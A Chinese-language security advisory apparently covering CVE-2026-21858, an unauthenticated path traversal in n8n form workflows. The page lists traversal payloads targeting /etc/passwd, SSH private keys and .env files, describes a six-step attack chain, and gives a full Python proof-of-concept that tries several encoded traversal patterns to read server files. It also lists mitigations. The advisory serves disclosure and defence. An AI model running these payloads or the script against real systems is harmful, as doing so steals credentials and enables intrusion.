IPBUF安全漏洞报告
English
CVE-2026-21858 CVSS 10.0 严重

CVE-2026-21858 n8n工作流自动化平台敏感信息泄露漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21858
漏洞类型
敏感信息泄露
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

CVE-2026-21858敏感信息泄露路径遍历n8n工作流自动化未授权访问CVSS 10.0文件读取漏洞网络攻击向量无需认证

漏洞概述

n8n是一款开源的工作流自动化平台,广泛应用于企业级自动化任务处理。该平台支持通过可视化界面创建复杂的工作流,实现各种系统间的数据流转和业务自动化。然而在1.65.0至1.121.0版本范围内,n8n存在一个严重的安全漏洞,攻击者可以通过构造特定的表单工作流来访问服务器上的任意文件系统资源。

此漏洞的核心问题在于n8n对用户输入的表单数据处理不当,缺乏充分的路径遍历防护机制。攻击者无需任何认证凭证,仅需构造恶意的表单工作流请求,即可触发文件读取操作。这意味着任何能够访问n8n实例的用户(甚至匿名用户)都可能利用此漏洞读取服务器上的敏感文件,包括但不限于:系统配置文件、环境变量文件(如.env)、数据库连接凭证、应用密钥、用户数据、SSH私钥等。

根据CVSS 3.1评分标准,该漏洞获得满分10.0,属于最高危级别。攻击向量为网络层面,攻击复杂度低,无需特殊权限或用户交互即可完成攻击。漏洞对机密性造成高影响,对完整性造成高影响,但可用性不受影响。

该漏洞的影响范围取决于n8n的具体部署方式和配置。在公网暴露的n8n实例中,攻击者可以直接从互联网发起攻击,窃取大量敏感信息。而在内网部署的场景中,攻击者需要先获得内网访问权限。漏洞的成功利用可能导致供应链攻击、横向移动、甚至完整的服务器沦陷。

技术细节

n8n工作流自动化平台在处理表单提交时存在路径遍历(Path Traversal)漏洞。攻击者可以通过在表单字段中注入特殊的路径序列(如../),配合特定的工作流配置,实现对服务器文件系统的未授权访问。

漏洞的技术原理如下:n8n的表单节点(Form Node)在处理用户提交的数据时,会将表单字段值传递给底层的文件操作函数。如果工作流配置允许直接使用用户输入指定文件路径,或者工作流逻辑中包含动态文件路径构造,攻击者就可以通过精心构造的输入序列访问任意文件。

具体利用方式包括:
1. 攻击者创建一个包含文件读取功能的工作流,或者利用已有的工作流
2. 在表单提交时,通过在文件路径字段中注入路径遍历序列(如../../../../etc/passwd)
3. n8n后端在处理请求时未能正确过滤这些特殊字符
4. 服务器返回目标文件的内容

常见的攻击Payload示例:
- ../../../../etc/passwd
- ../../../../root/.ssh/id_rsa
- ../../../../app/.env
- ..%2F..%2F..%2F..%2Fetc%2Fpasswd(URL编码形式)

该漏洞的根因在于n8n在1.65.0版本引入的某些新功能中,对文件路径的验证和过滤不够严格。开发者可能假设工作流由可信的管理员创建,因此未对路径遍历攻击进行充分防护。然而在实际场景中,攻击者可以通过API或表单直接与工作流交互,绕过预期的安全边界。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标n8n实例的版本号,通过访问主页或API端点获取版本信息,确认版本在1.65.0到1.121.0之间
STEP 2
步骤2: 发现表单工作流
攻击者扫描n8n实例上公开的表单工作流,或者创建一个新的包含文件操作功能的工作流
STEP 3
步骤3: 构造恶意请求
攻击者构造包含路径遍历序列的表单提交请求,在文件路径参数中注入如../../../../etc/passwd等Payload
STEP 4
步骤4: 发送漏洞利用请求
攻击者向n8n的表单提交端点发送恶意构造的POST请求,无需任何认证信息
STEP 5
步骤5: 获取敏感文件
如果目标工作流存在漏洞,服务器将返回请求的文件内容,如/etc/passwd、.env文件、SSH密钥等
STEP 6
步骤6: 横向移动
攻击者利用获取的凭证(如数据库密码、API密钥)进一步渗透系统,可能导致RCE或完整服务器沦陷

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-21858 PoC - n8n Sensitive Information Disclosure This PoC demonstrates how to exploit the path traversal vulnerability in n8n to read arbitrary files from the server filesystem. Usage: python3 cve-2026-21858_poc.py --url http://target-n8n:5678 --workflow-id <id> --file /etc/passwd Note: This is for educational and authorized testing purposes only. """ import argparse import requests import urllib.parse import json import sys def exploit_path_traversal(base_url, workflow_id, target_file): """ Attempt to exploit the path traversal vulnerability in n8n forms. Args: base_url: Base URL of the n8n instance workflow_id: ID of a vulnerable form-based workflow target_file: Path to the file to read (e.g., /etc/passwd) """ # Construct the form submission endpoint form_endpoint = f"{base_url.rstrip('/')}/form/{workflow_id}" # Common path traversal patterns traversal_patterns = [ target_file, f"../../../../..{target_file}", f"..%2F..%2F..%2F..%2F{target_file.lstrip('/').replace('/', '%2F')}", f"....//....//....//....//{target_file.lstrip('/')}", f"..\..\..\..\{target_file}" ] print(f"[*] Target: {form_endpoint}") print(f"[*] Attempting to read: {target_file}") print("-" * 60) for i, payload in enumerate(traversal_patterns, 1): print(f"\n[*] Attempt {i} with payload: {payload}") # Construct the form data # The exact structure depends on the specific vulnerable workflow form_data = { "data": { "filePath": payload, "operation": "read" } } try: response = requests.post( form_endpoint, json=form_data, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" }, timeout=10, verify=False ) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: try: result = response.json() if result.get('success') or 'data' in result: print("[+] VULNERABLE! File content retrieved:") print("-" * 40) print(result.get('data', result)) return True except json.JSONDecodeError: if len(response.text) > 0: print("[+] Potential file content found:") print(response.text[:500]) return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Exploitation attempts completed. Target may not be vulnerable.") return False def main(): parser = argparse.ArgumentParser( description='CVE-2026-21858 PoC - n8n Path Traversal' ) parser.add_argument('--url', required=True, help='Base URL of n8n instance') parser.add_argument('--workflow-id', required=True, help='ID of form workflow') parser.add_argument('--file', default='/etc/passwd', help='File path to read') args = parser.parse_args() success = exploit_path_traversal(args.url, args.workflow_id, args.file) if success: print("\n[!] Target is vulnerable to CVE-2026-21858") print("[!] Recommended action: Upgrade to n8n >= 1.121.0") sys.exit(0) else: print("\n[-] Target does not appear to be vulnerable") sys.exit(1) if __name__ == '__main__': main()

影响范围

n8n >= 1.65.0 且 < 1.121.0

防御指南

临时缓解措施
在完成版本升级前,建议采取以下临时缓解措施:首先,通过网络层访问控制限制n8n实例的暴露范围,仅允许必要的IP地址访问;其次,在反向代理或负载均衡器层面配置请求过滤规则,拦截包含路径遍历特征的请求(如检测..%2F、../、..\等模式);第三,审查现有工作流配置,禁用或限制表单节点的文件操作功能;第四,增强服务器的文件系统权限控制,确保n8n进程无法访问敏感文件;最后,加强安全监控,部署入侵检测系统对异常的文件访问行为进行告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表